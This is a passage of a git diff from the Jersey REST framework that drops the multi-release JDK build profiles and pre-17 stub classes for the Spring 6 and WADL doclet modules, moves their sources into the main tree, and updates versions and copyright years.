-                                            <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
-                                        </zip>
-                                    </target>
-                                </configuration>
-                                <goals>
-                                    <goal>run</goal>
-                                </goals>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
             <id>delayed-strategy-skip-test</id>
             <activation>
                 <property>
@@ -400,4 +245,4 @@
             </build>
         </profile>
     </profiles>
-</project>
+</project>
\ No newline at end of file
diff --git a/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java
similarity index 98%
rename from ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java
rename to ext/spring6/src/main/java/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java
index aca66c9..f5d5d6d 100644
--- a/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java
+++ b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/SpringComponentProvider.java b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/SpringComponentProvider.java
similarity index 98%
rename from ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/SpringComponentProvider.java
rename to ext/spring6/src/main/java/org/glassfish/jersey/server/spring/SpringComponentProvider.java
index 358f488..bcef673 100644
--- a/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/SpringComponentProvider.java
+++ b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/SpringComponentProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -24,8 +24,8 @@
 import jakarta.servlet.ServletContext;
 
 import org.glassfish.jersey.inject.hk2.ImmediateHk2InjectionManager;
+import org.glassfish.jersey.inject.hk2.Bindings;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.server.ApplicationHandler;
 import org.glassfish.jersey.server.spi.ComponentProvider;
diff --git a/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/SpringLifecycleListener.java b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/SpringLifecycleListener.java
similarity index 96%
rename from ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/SpringLifecycleListener.java
rename to ext/spring6/src/main/java/org/glassfish/jersey/server/spring/SpringLifecycleListener.java
index b47ba09..3b6637d 100644
--- a/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/SpringLifecycleListener.java
+++ b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/SpringLifecycleListener.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/SpringWebApplicationInitializer.java b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/SpringWebApplicationInitializer.java
similarity index 96%
rename from ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/SpringWebApplicationInitializer.java
rename to ext/spring6/src/main/java/org/glassfish/jersey/server/spring/SpringWebApplicationInitializer.java
index 8e21bda..935c3d1 100644
--- a/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/SpringWebApplicationInitializer.java
+++ b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/SpringWebApplicationInitializer.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/scope/JaxrsRequestAttributes.java b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/scope/JaxrsRequestAttributes.java
similarity index 97%
rename from ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/scope/JaxrsRequestAttributes.java
rename to ext/spring6/src/main/java/org/glassfish/jersey/server/spring/scope/JaxrsRequestAttributes.java
index 35a9e26..18525b9 100644
--- a/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/scope/JaxrsRequestAttributes.java
+++ b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/scope/JaxrsRequestAttributes.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/scope/JaxrsServletRequestAttributes.java b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/scope/JaxrsServletRequestAttributes.java
similarity index 96%
rename from ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/scope/JaxrsServletRequestAttributes.java
rename to ext/spring6/src/main/java/org/glassfish/jersey/server/spring/scope/JaxrsServletRequestAttributes.java
index 4c2d0c2..844a579 100644
--- a/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/scope/JaxrsServletRequestAttributes.java
+++ b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/scope/JaxrsServletRequestAttributes.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2016, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2016, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/scope/RequestContextFilter.java b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/scope/RequestContextFilter.java
similarity index 100%
rename from ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/scope/RequestContextFilter.java
rename to ext/spring6/src/main/java/org/glassfish/jersey/server/spring/scope/RequestContextFilter.java
diff --git a/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java b/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java
deleted file mode 100644
index 747c607..0000000
--- a/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-package org.glassfish.jersey.server.spring;
-
-import jakarta.inject.Singleton;
-import org.glassfish.jersey.internal.inject.Injectee;
-import org.glassfish.jersey.internal.inject.InjectionResolver;
-
-@Singleton
-public class AutowiredInjectResolver implements InjectionResolver {
-
-    @Override
-    public Object resolve(Injectee injectee) {
-        return null;
-    }
-
-    @Override
-    public boolean isConstructorParameterIndicator() {
-        return false;
-    }
-
-    @Override
-    public boolean isMethodParameterIndicator() {
-        return false;
-    }
-
-    @Override
-    public Class getAnnotation() {
-        return null;
-    }
-}
diff --git a/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/SpringComponentProvider.java b/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/SpringComponentProvider.java
deleted file mode 100644
index 5f85ffb..0000000
--- a/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/SpringComponentProvider.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.server.spring;
-
-import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.util.JdkVersion;
-import org.glassfish.jersey.server.spi.ComponentProvider;
-
-import java.util.Set;
-
-/**
- * Custom ComponentProvider class.
- * Responsible for 1) bootstrapping Jersey 3 Spring integration and
- * 2) making Jersey skip JAX-RS Spring component life-cycle management and leave it to us.
- *
- * @author Marko Asplund (marko.asplund at yahoo.com)
- */
-public class SpringComponentProvider implements ComponentProvider {
-
-    @Override
-    public void initialize(InjectionManager injectionManager) {
-        if (JdkVersion.getJdkVersion().getMajor() < 17) {
-            throw new IllegalStateException(LocalizationMessages.NOT_SUPPORTED());
-        }
-    }
-
-    @Override
-    public boolean bind(Class<?> component, Set<Class<?>> providerContracts) {
-        return false;
-    }
-
-    @Override
-    public void done() {
-
-    }
-}
diff --git a/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/SpringLifecycleListener.java b/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/SpringLifecycleListener.java
deleted file mode 100644
index 15dd493..0000000
--- a/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/SpringLifecycleListener.java
+++ /dev/null
@@ -1,41 +0,0 @@
-/*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.server.spring;
-
-import jakarta.ws.rs.ext.Provider;
-import org.glassfish.jersey.internal.util.JdkVersion;
-import org.glassfish.jersey.server.spi.Container;
-import org.glassfish.jersey.server.spi.ContainerLifecycleListener;
-
-@Provider
-public class SpringLifecycleListener implements ContainerLifecycleListener {
-
-    @Override
-    public void onStartup(Container container) {
-        if (JdkVersion.getJdkVersion().getMajor() < 17) {
-            throw new IllegalStateException(LocalizationMessages.NOT_SUPPORTED());
-        }
-    }
-
-    @Override
-    public void onReload(Container container) {
-    }
-
-    @Override
-    public void onShutdown(Container container) {
-    }
-}
diff --git a/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/scope/RequestContextFilter.java b/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/scope/RequestContextFilter.java
deleted file mode 100644
index 9a41f80..0000000
--- a/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/scope/RequestContextFilter.java
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.server.spring.scope;
-
-import jakarta.ws.rs.container.ContainerRequestContext;
-import jakarta.ws.rs.container.ContainerRequestFilter;
-import jakarta.ws.rs.container.ContainerResponseContext;
-import jakarta.ws.rs.container.ContainerResponseFilter;
-import jakarta.ws.rs.container.PreMatching;
-import jakarta.ws.rs.ext.Provider;
-import org.glassfish.jersey.internal.util.JdkVersion;
-import org.glassfish.jersey.server.spring.LocalizationMessages;
-
-import java.io.IOException;
-
-/**
- * Spring filter to provide a bridge between JAX-RS and Spring request attributes.
- *
- * @author Marko Asplund (marko.asplund at yahoo.com)
- * @author Jakub Podlesak
- * @author Marek Potociar
- */
-@Provider
-@PreMatching
-public final class RequestContextFilter implements ContainerRequestFilter, ContainerResponseFilter {
-
-    @Override
-    public void filter(ContainerRequestContext requestContext) throws IOException {
-        if (JdkVersion.getJdkVersion().getMajor() < 17) {
-            throw new IllegalStateException(LocalizationMessages.NOT_SUPPORTED());
-        }
-    }
-
-    @Override
-    public void filter(ContainerRequestContext requestContext, ContainerResponseContext responseContext) throws IOException {
-        if (JdkVersion.getJdkVersion().getMajor() < 17) {
-            throw new IllegalStateException(LocalizationMessages.NOT_SUPPORTED());
-        }
-    }
-}
diff --git a/ext/spring6/src/main/resources/org/glassfish/jersey/server/spring/localization.properties b/ext/spring6/src/main/resources/org/glassfish/jersey/server/spring/localization.properties
index 333129d..2658556 100644
--- a/ext/spring6/src/main/resources/org/glassfish/jersey/server/spring/localization.properties
+++ b/ext/spring6/src/main/resources/org/glassfish/jersey/server/spring/localization.properties
@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
 #
 # This program and the accompanying materials are made available under the
 # terms of the Eclipse Public License v. 2.0, which is available at
@@ -20,7 +20,6 @@
 ctx.lookup.sucessful=Spring context lookup done.
 spring.component.provider.initialized=Spring component provider initialized.
 none.or.multiple.beans.available=None or multiple beans found in Spring context for type {0}, skipping the type.
-not.supported=Spring component is not supported on JDK version less than 17.
 bean.registered=Spring managed bean, {0}, registered with HK2.
 registering.ctx.loader.listener=Registering Spring ContextLoaderListener
 skipping.ctx.lodaer.listener.registration=Presuming Spring ContextLoaderListener was manually registered. Skipping context loader registration.
diff --git a/ext/spring6/src/test/java/org/glassfish/jersey/server/spring/filter/SpringRequestContextFilterTest.java b/ext/spring6/src/test/java/org/glassfish/jersey/server/spring/filter/SpringRequestContextFilterTest.java
index 3e08125..b2706e1 100644
--- a/ext/spring6/src/test/java/org/glassfish/jersey/server/spring/filter/SpringRequestContextFilterTest.java
+++ b/ext/spring6/src/test/java/org/glassfish/jersey/server/spring/filter/SpringRequestContextFilterTest.java
@@ -16,7 +16,7 @@
 
 package org.glassfish.jersey.server.spring.filter;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
 import org.glassfish.jersey.server.spring.scope.RequestContextFilter;
diff --git a/ext/wadl-doclet/pom.xml b/ext/wadl-doclet/pom.xml
index 8deb34f..99848a0 100644
--- a/ext/wadl-doclet/pom.xml
+++ b/ext/wadl-doclet/pom.xml
@@ -21,7 +21,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.ext</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <artifactId>jersey-wadl-doclet</artifactId>
@@ -35,144 +35,9 @@
     
     <properties>
         <java.sourceDirectory>${project.basedir}/src/main/java</java.sourceDirectory>
-        <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
-        <java11.sourceDirectory>${project.basedir}/src/main/java8_11</java11.sourceDirectory>
-        <java12.build.outputDirectory>${project.basedir}/target-java12</java12.build.outputDirectory>
-        <java12.sourceDirectory>${project.basedir}/src/main/java12</java12.sourceDirectory>
     </properties>
 
 
-    <profiles>
-        <profile>
-            <id>jdk11</id>
-            <activation>
-                <jdk>[11,12)</jdk>
-            </activation>
-            <build>
-            	<directory>${java11.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java.sourceDirectory}</source>
-                                        <source>${java11.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>jdk12+</id>
-            <activation>
-                <jdk>[12,)</jdk>
-            </activation>
-            <build>
-            	<directory>${java12.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                        	<execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java.sourceDirectory}</source>
-                                        <source>${java12.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <!-- Only multi-release is supported when compiling from higher version to lower -->
-        <profile>
-            <id>copyJDK12FilesToMultiReleaseJar</id>
-            <activation>
-                <file>
-                    <!-- ${java12.build.outputDirectory} does not work here -->
-                    <exists>target-java12/classes/org/glassfish/jersey/wadl/doclet/ResourceDoclet.class</exists>
-                </file>
-                <jdk>[11,12)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.felix</groupId>
-                        <artifactId>maven-bundle-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <extensions>true</extensions>
-                        <configuration>
-                            <instructions>
-                                <Multi-Release>true</Multi-Release>
-                            </instructions>
-                        </configuration>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-resources-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk12-classes</id>
-                                <phase>prepare-package</phase>
-                                <goals>
-                                    <goal>copy-resources</goal>
-                                </goals>
-                                <configuration>
-                                    <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/12</outputDirectory>
-                                    <resources>
-                                        <resource>
-                                            <directory>${java12.build.outputDirectory}/classes</directory>
-                                        </resource>
-                                    </resources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-antrun-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk12-sources</id>
-                                <phase>package</phase>
-                                <configuration>
-                                    <target>
-                                    	<property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
-                                    	<echo>sources-jar: ${sources-jar}</echo>
-                                    	<zip destfile="${sources-jar}" update="true">
-                                    		<zipfileset dir="${java12.sourceDirectory}" prefix="META-INF/versions/12"/>
-										</zip>
-                                    </target>
-                                </configuration>
-                                <goals>
-                                    <goal>run</goal>
-                                </goals>
-                            </execution>
-                    	</executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-    </profiles>
-
     <dependencies>
         <dependency>
             <groupId>jakarta.xml.bind</groupId>
@@ -191,6 +56,12 @@
     </dependencies>
 
     <build>
+        <plugins>
+            <plugin>
+                <groupId>org.apache.felix</groupId>
+                <artifactId>maven-bundle-plugin</artifactId>
+            </plugin>
+        </plugins>
         <resources>
             <resource>
                 <directory>${project.build.directory}/legal</directory>
diff --git a/ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/DocProcessor.java b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/DocProcessor.java
similarity index 98%
rename from ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/DocProcessor.java
rename to ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/DocProcessor.java
index feb1f43..d19b49a 100644
--- a/ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/DocProcessor.java
+++ b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/DocProcessor.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/DocProcessorWrapper.java b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/DocProcessorWrapper.java
similarity index 98%
rename from ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/DocProcessorWrapper.java
rename to ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/DocProcessorWrapper.java
index 03407db..fdbf362 100644
--- a/ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/DocProcessorWrapper.java
+++ b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/DocProcessorWrapper.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/Loader.java b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/Loader.java
similarity index 94%
rename from ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/Loader.java
rename to ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/Loader.java
index 43f2515..27b598d 100644
--- a/ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/Loader.java
+++ b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/Loader.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/OptionClasspath.java b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/OptionClasspath.java
similarity index 95%
rename from ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/OptionClasspath.java
rename to ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/OptionClasspath.java
index c11da14..b7f2585 100644
--- a/ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/OptionClasspath.java
+++ b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/OptionClasspath.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/OptionDocprocessor.java b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/OptionDocprocessor.java
similarity index 95%
rename from ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/OptionDocprocessor.java
rename to ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/OptionDocprocessor.java
index 1372e8e..f6dbcb8 100644
--- a/ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/OptionDocprocessor.java
+++ b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/OptionDocprocessor.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/OptionOutput.java b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/OptionOutput.java
similarity index 94%
rename from ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/OptionOutput.java
rename to ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/OptionOutput.java
index 822d275..9f16c7b 100644
--- a/ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/OptionOutput.java
+++ b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/OptionOutput.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/ResourceDoclet.java b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/ResourceDoclet.java
similarity index 99%
rename from ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/ResourceDoclet.java
rename to ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/ResourceDoclet.java
index 763fb8d..2cd8e07 100644
--- a/ext/wadl-doclet/src/main/java12/org/glassfish/jersey/wadl/doclet/ResourceDoclet.java
+++ b/ext/wadl-doclet/src/main/java/org/glassfish/jersey/wadl/doclet/ResourceDoclet.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -190,7 +190,6 @@
                     }
                     result.getDocs().add(classDocType);
                     success = DocletUtils.createOutputFile(optionOutput.getValue(), docProcessor, result);
-                    
                 }
             }
         } finally {
diff --git a/ext/wadl-doclet/src/main/java8_11/org/glassfish/jersey/wadl/doclet/DocProcessor.java b/ext/wadl-doclet/src/main/java8_11/org/glassfish/jersey/wadl/doclet/DocProcessor.java
deleted file mode 100644
index 962b065..0000000
--- a/ext/wadl-doclet/src/main/java8_11/org/glassfish/jersey/wadl/doclet/DocProcessor.java
+++ /dev/null
@@ -1,87 +0,0 @@
-/*
- * Copyright (c) 2010, 2019 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.wadl.doclet;
-
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.ClassDocType;
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.MethodDocType;
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.ParamDocType;
-
-import com.sun.javadoc.ClassDoc;
-import com.sun.javadoc.MethodDoc;
-import com.sun.javadoc.ParamTag;
-import com.sun.javadoc.Parameter;
-
-/**
- * A doc processor is handed over javadoc elements so that it can turn this into
- * resource doc elements, even self defined.
- *
- * @author Martin Grotzke (martin.grotzke at freiheit.com)
- */
-public interface DocProcessor {
-
-    /**
-     * Specify jaxb classes of instances that you add to the {@code resourcedoc} model.
-     * These classes are added to the list of classes when creating the jaxb context
-     * with {@code JAXBContext.newInstance( clazzes );}.
-     *
-     * @return a list of classes or {@code null}
-     */
-    Class<?>[] getRequiredJaxbContextClasses();
-
-    /**
-     * specify which of your elements you want to be handled as CDATA.
-     * The use of the '^' between the {@code namespaceURI} and the {@code localname}
-     * seems to be an implementation detail of the xerces code.
-     * When processing xml that doesn't use namespaces, simply omit the
-     * namespace prefix as shown in the third CDataElement below.
-     *
-     * @return an Array of element descriptors or {@code null}
-     */
-    String[] getCDataElements();
-
-    /**
-     * Use this method to extend the provided {@link ClassDocType} with the information from
-     * the given {@link ClassDoc}.
-     *
-     * @param classDoc     the class javadoc
-     * @param classDocType the {@link ClassDocType} to extend. This will later be processed by the
